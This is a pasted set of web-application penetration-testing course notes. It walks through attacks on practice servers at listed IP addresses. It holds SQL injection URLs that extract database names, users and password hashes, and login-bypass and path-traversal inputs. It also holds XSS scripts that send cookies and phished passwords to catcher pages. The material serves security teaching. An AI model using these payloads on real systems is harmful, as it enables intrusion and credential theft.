SHARE
TWEET

Untitled

djtroby May 31st, 2017 41 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ###########################
  2. # Slides for today's talk #
  3. ###########################
  4. https://s3.amazonaws.com/StrategicSec-Files/WebAppSecIsNotEasyButCanBeSimple.pptx
  5.  
  6.  
  7. ########################################
  8. # Manual Web Application Testing Day 1 #
  9. ########################################
  10.  
  11. This is the Day 1 morning video:
  12. https://s3.amazonaws.com/StrategicSec-Videos/_2015_8_13_rec-hq-1_279540_recording.mp4
  13.  
  14. This is the Day 1 afternoon video:
  15. https://s3.amazonaws.com/StrategicSec-Videos/_2015_8_13_rec-hq-8_279678_recording.mp4
  16.  
  17. The basics of web app pentesting
  18.  
  19. Start with simple firefox addons:
  20.  
  21. - ShowIP            https://addons.mozilla.org/en-US/firefox/addon/showip/
  22. - Server Spy            https://addons.mozilla.org/en-US/firefox/addon/server-spy/
  23. - FoxyProxy         https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
  24. - Tamper Data           https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
  25.  
  26. A good list of web app testing add ons for Firefox:
  27. https://addons.mozilla.org/en-us/firefox/collections/adammuntner/webappsec/
  28.  
  29.  
  30. ##################################
  31. # Basic: Web Application Testing #
  32. ##################################
  33.  
  34. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  35.    
  36.     1. Does the website talk to a DB?
  37.         - Look for parameter passing (ex: site.com/page.php?id=4)
  38.         - If yes - try SQL Injection
  39.  
  40.     2. Can I or someone else see what I type?
  41.         - If yes - try XSS
  42.  
  43.     3. Does the page reference a file?
  44.         - If yes - try LFI/RFI
  45.  
  46. Let's start with some manual testing against 54.149.82.150
  47.  
  48.  
  49. Start here:
  50. http://54.149.82.150/
  51.  
  52.  
  53. There's no parameter passing on the home page so the answer to question 1 is NO.
  54. There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
  55.  
  56. Try an XSS in the search box on the home page:
  57. <script>alert(123);</script>
  58.  
  59. Doing this gives us the following in the address bar:
  60. http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script>
  61.  
  62. Ok, so we've verified that there is XSS in the search box.
  63.  
  64. Let's move on to the search box in the left of the page.
  65.  
  66. Let's give the newsletter signup box a shot
  67.  
  68. Moving on to the login page.
  69. http://54.149.82.150/login.aspx
  70.  
  71. I entered a single quote (') for both the user name and the password. I got the following error:
  72.  
  73. -----------------------------------------------------------------
  74.  'Users//User[@Name=''' and @Password=''']' has an invalid token.
  75. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  76.  
  77. Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  78.  
  79. Source Error:
  80.  
  81.  
  82. Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  83. Line 113:            string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
  84. Line 114:            XmlNodeList xmln = doc.SelectNodes(credential);
  85. Line 115:            //String test = xmln.ToString();            
  86. Line 116:            if (xmln.Count > 0)
  87.  
  88. -----------------------------------------------------------------
  89.  
  90.  
  91. Hmm....System.Xml.XPath.XPathException.....that's not SQL.
  92.  
  93. WTF is this:
  94. Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  95.  
  96.  
  97.  
  98.  
  99. In this case you'll have the trap the request with a proxy like:
  100. - Firefox Tamper Data
  101. - Burp Suite                http://www.portswigger.net/Burp/proxy.html
  102. - WebScarab             https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
  103. - Rat Proxy             https://code.google.com/p/ratproxy/
  104. - Zap Proxy             https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  105. - Paros                 http://sourceforge.net/projects/paros/
  106.  
  107.  
  108.  
  109. Let's go back to that page error message.....
  110.  
  111.  
  112. Let's check it out:
  113. http://54.149.82.150/AuthInfo.xml
  114.  
  115. Looks like we found passwords!!!!!!!!!!
  116.  
  117.  
  118. Looks like there no significant new functionality after logging in with the stolen credentials.
  119.  
  120. Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
  121.  
  122.  
  123. http://54.149.82.150/bookdetail.aspx?id=2
  124.  
  125.  
  126. Ok, there is parameter passing (bookdetail.aspx?id=2).
  127.  
  128. The page name is:       bookdetail.aspx
  129. The parameter name is:      id
  130. The paramber value is:      2
  131.  
  132.  
  133. Let's try throwing a single quote (') in there:
  134.  
  135. http://54.149.82.150/bookdetail.aspx?id=2'
  136.  
  137.  
  138. I get the following error:
  139.  
  140. Unclosed quotation mark after the character string ''.
  141. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  142.  
  143. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154. #############################################################################
  155. # SQL Injection                                                             #
  156. # https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
  157. #############################################################################
  158.  
  159.  
  160. - Another quick way to test for SQLI is to remove the paramter value
  161.  
  162.  
  163. #############################
  164. # Error-Based SQL Injection #
  165. #############################
  166. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  167. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  168. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  169. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  170. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  171. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
  172. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  173. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  174. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  175.  
  176.  
  177.  
  178.  
  179. #############################
  180. # Union-Based SQL Injection #
  181. #############################
  182. http://54.149.82.150/bookdetail.aspx?id=2 order by 100--
  183. http://54.149.82.150/bookdetail.aspx?id=2 order by 50--
  184. http://54.149.82.150/bookdetail.aspx?id=2 order by 25--
  185. http://54.149.82.150/bookdetail.aspx?id=2 order by 10--
  186. http://54.149.82.150/bookdetail.aspx?id=2 order by 5--
  187. http://54.149.82.150/bookdetail.aspx?id=2 order by 6--
  188. http://54.149.82.150/bookdetail.aspx?id=2 order by 7--
  189. http://54.149.82.150/bookdetail.aspx?id=2 order by 8--
  190. http://54.149.82.150/bookdetail.aspx?id=2 order by 9--
  191. http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  192.  
  193.     We are using a union select statement because we are joining the developer's query with one of our own.
  194.     Reference:
  195.     http://www.techonthenet.com/sql/union.php
  196.     The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  197.     It removes duplicate rows between the various SELECT statements.
  198.  
  199.     Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  200.  
  201. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  202.  
  203.     Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  204.  
  205. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  206. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  207. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  208. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  209.  
  210.  
  211.  
  212.  
  213.  
  214. - Another way is to see if you can get the backend to perform an arithmetic function
  215. http://54.149.82.150/bookdetail.aspx?id=(2)
  216. http://54.149.82.150/bookdetail.aspx?id=(4-2)  
  217. http://54.149.82.150/bookdetail.aspx?id=(4-1)
  218.  
  219.  
  220.  
  221. http://54.149.82.150/bookdetail.aspx?id=2 or 1=1--
  222. http://54.149.82.150/bookdetail.aspx?id=2 or 1=2--
  223. http://54.149.82.150/bookdetail.aspx?id=1*1
  224. http://54.149.82.150/bookdetail.aspx?id=2 or 1 >-1#
  225. http://54.149.82.150/bookdetail.aspx?id=2 or 1<99#
  226. http://54.149.82.150/bookdetail.aspx?id=2 or 1<>1#
  227. http://54.149.82.150/bookdetail.aspx?id=2 or 2 != 3--
  228. http://54.149.82.150/bookdetail.aspx?id=2 &0#
  229.  
  230.  
  231.  
  232.  
  233.  
  234. ###############################
  235. # Blind SQL Injection Testing #
  236. ###############################
  237. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  238.      
  239. 3 - Total Characters
  240. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  241. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  242. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
  243.  
  244. Let's go for a quick check to see if it's DBO
  245. http://54.149.82.150/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  246.  
  247. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  248.  
  249. D  - 1st Character
  250. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--  
  251. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  252. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  253. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  254.  
  255. B - 2nd Character
  256. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  257. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  258.  
  259. O - 3rd Character
  260. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
  261. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  262. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  263. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  264. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  265. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
  266.  
  267.  
  268.  
  269.  
  270.  
  271.  
  272.  
  273.  
  274.  
  275.  
  276. ###################################################################
  277. # What is XSS                                                     #
  278. # https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
  279. ###################################################################
  280.  
  281. OK - what is Cross Site Scripting (XSS)
  282.  
  283. 1. Use Firefox to browse to the following location:
  284.  
  285.     http://54.186.248.116/xss_practice/
  286.  
  287.     A really simple search page that is vulnerable should come up.
  288.  
  289.  
  290.  
  291.  
  292. 2. In the search box type:
  293.    
  294.     <script>alert('So this is XSS')</script>
  295.  
  296.  
  297.     This should pop-up an alert window with your message in it proving XSS is in fact possible.
  298.     Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
  299.  
  300.  
  301. 3. In the search box type:
  302.    
  303.     <script>alert(document.cookie)</script>
  304.  
  305.  
  306.     This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  307.     Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
  308.  
  309. 4. Now replace that alert script with:
  310.  
  311.     <script>document.location="http://54.186.248.116/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  312.  
  313.  
  314. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  315.  
  316.  
  317. 5. Now view the stolen cookie at:
  318.     http://54.186.248.116/xss_practice/cookie_stealer_logs.html
  319.  
  320.  
  321. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  322.  
  323.  
  324.  
  325.  
  326.  
  327.  
  328. ############################
  329. # A Better Way To Demo XSS #
  330. ############################
  331.  
  332.  
  333. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  334.  
  335.  
  336. Use Firefox to browse to the following location:
  337.  
  338.     http://54.186.248.116/xss_practice/
  339.  
  340.  
  341.  
  342. Paste this in the search box
  343. ----------------------------
  344.  
  345.  
  346. Option 1
  347. --------
  348.  
  349. <script>
  350. password=prompt('Your session is expired. Please enter your password to continue',' ');
  351. document.write("<img src=\"http://54.186.248.116/xss_practice/passwordgrabber.php?password=" +password+"\">");
  352. </script>
  353.  
  354.  
  355. Now view the stolen cookie at:
  356.     http://54.186.248.116/xss_practice/passwords.html
  357.  
  358.  
  359.  
  360. Option 2
  361. --------
  362. <script>
  363. username=prompt('Please enter your username',' ');
  364. password=prompt('Please enter your password',' ');
  365. document.write("<img src=\"http://54.186.248.116/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  366. </script>
  367.  
  368.  
  369.  
  370.  
  371. Now view the stolen cookie at:
  372. http://54.186.248.116/xss_practice/username_password_logs.html
  373.  
  374.  
  375.  
  376.  
  377. #########################################
  378. # Let's kick it up a notch with ASP.NET #
  379. # http://54.200.178.220/                #
  380. #########################################
  381.  
  382.  
  383. The trading Web App is on http://54.200.178.220/
  384.  
  385.  
  386. Try the following in the search box:
  387.     <script>alert(123);</script>
  388.     ' or 1=1
  389.     ' and a=a
  390.     1=1
  391.     Joe'+OR+1=1;--
  392.  
  393.  
  394.     <script>alert(123);</script>
  395.    
  396. Open a new tab in firefox and try this:
  397.     http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName
  398.  
  399.  
  400. Try the contact us form.
  401. Open a new tab in firefox and try this:
  402.     http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini
  403.  
  404. Try this on the inquiry form:
  405.     Joe McCray
  406.     1234567890
  407.     joe@strategicsec.com') waitfor delay '00:00:10'--
  408.  
  409.  
  410. Login Box:
  411.  
  412.     ' or 1=1 or ''='
  413.     anything            (click login instead of pressing enter)
  414.  
  415.  
  416.  
  417. Tamper Data: (notice 2 session IDs)
  418.  
  419.     AcmeTrading=a4b796687b846dd4a34931d708c62b49;       SessionID is md5
  420.     IsAdmin=yes;
  421.     ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  422.  
  423.  
  424.  
  425. Profile - Detail    (tamper data)
  426.     Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  427.     joe|set
  428.  
  429.  
  430.     xss_upload.txt (Upload Bulk Order)
  431.     <script>alert(123);</script>
  432.  
  433.  
  434.  
  435.  
  436. ############################
  437. # Trading Web App with WAF #
  438. # http://54.213.131.105    #
  439. ############################
  440.  
  441.  
  442. Try the following in the search box:
  443.     <script>alert(123);</script>
  444.     <script>alert(123);</script
  445.     <script>alert(123)
  446.     <script>alert
  447.     <script>
  448.     <script
  449.     <scrip
  450.     <scri
  451.     <scr
  452.     <sc
  453.     <s
  454.     <p
  455.     <
  456.     < s
  457.     Joe'+OR+1=1;--
  458.  
  459.    
  460. Open a new tab in firefox and try this:
  461.     http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
  462.  
  463.  
  464.     xss_upload.txt (Upload Bulk Order)
  465.     <script>alert(123);</script>
  466.  
  467.  
  468. Login Box:
  469.  
  470.     ' or 1=1 or ''='
  471.     anything
  472.  
  473.  
  474.  
  475. Tamper Data: (notice 2 session IDs)
  476.  
  477.     AcmeTrading=a4b796687b846dd4a34931d708c62b49;       SessionID is md5
  478.     IsAdmin=yes;
  479.     ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  480.  
  481.  
  482.  
  483. Profile - Detail    (tamper data)
  484.     Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  485.     joe|set
  486.  
  487.  
  488.  
  489.  
  490.  
  491.  
  492.  
  493. ###########################################################
  494. # Attacking an Oracle/JSP based WebApp with SQL Injection #
  495. ###########################################################
  496.  
  497.  
  498.  
  499.  
  500.  
  501. http://54.69.156.253:8081/bookcompany/
  502.  
  503.  
  504. user:   a' OR 'a'='a
  505. pass:   a' OR 'a'='a
  506.  
  507.  
  508.  
  509.  
  510.  
  511.  
  512.  
  513. http://54.69.156.253:8081/bookcompany/author.jsp?id=111
  514.  
  515.  
  516. [ Search by Username ]  Joe' OR 'a'='a
  517.  
  518.  
  519.  
  520.  
  521.  
  522.  
  523.  
  524.  
  525.  
  526.  
  527.  
  528.  
  529. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
  530.  
  531.  
  532.  
  533. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
  534.  
  535.  
  536.  
  537.  
  538.  
  539.  
  540.  
  541.  
  542.  
  543.  
  544.  
  545.  
  546.  
  547.  
  548.  
  549. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
  550.  
  551.  
  552. Host is running:
  553.  
  554.  
  555.  
  556.  
  557.  
  558. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
  559.  
  560. User is:
  561.  
  562.  
  563.  
  564.  
  565.  
  566. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
  567.  
  568. Current database is:
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top